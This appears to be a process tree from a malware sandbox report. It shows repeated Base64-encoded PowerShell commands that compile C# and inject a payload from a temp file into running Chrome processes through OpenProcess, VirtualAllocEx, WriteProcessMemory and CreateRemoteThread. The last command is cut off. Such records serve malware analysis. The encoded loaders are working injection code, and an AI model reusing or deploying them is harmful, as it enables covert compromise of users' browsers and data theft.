                                                                                                                    C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMAMgA5ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgANwA4AEEALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                    6⤵
                                                                                                                      PID:1484
                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ahuvocdu\ahuvocdu.cmdline"
                                                                                                                        7⤵
                                                                                                                          PID:4684
                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA15C.tmp" "c:\Users\Admin\AppData\Local\Temp\ahuvocdu\CSCC2BCD89C68ED419EAD17756A4C6A3398.TMP"
                                                                                                                            8⤵
                                                                                                                              PID:6008
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                          6⤵
                                                                                                                            PID:5328
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff85d12dcf8,0x7ff85d12dd04,0x7ff85d12dd10
                                                                                                                              7⤵
                                                                                                                                PID:5828
                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAMwAyADgAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAEIAOQBDADcALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                              6⤵
                                                                                                                                PID:2348
                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qlm4z3l0\qlm4z3l0.cmdline"
                                                                                                                                  7⤵
                                                                                                                                    PID:5996
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEEEF.tmp" "c:\Users\Admin\AppData\Local\Temp\qlm4z3l0\CSC47C8239E48484C80817E24751D5A37BC.TMP"
                                                                                                                                      8⤵
                                                                                                                                        PID:5248
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                    6⤵
                                                                                                                                      PID:4976
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff85d12dcf8,0x7ff85d12dd04,0x7ff85d12dd10
                                                                                                                                        7⤵
                                                                                                                                          PID:4932
                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQAOQA3ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAEMAQgA2AEIALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQA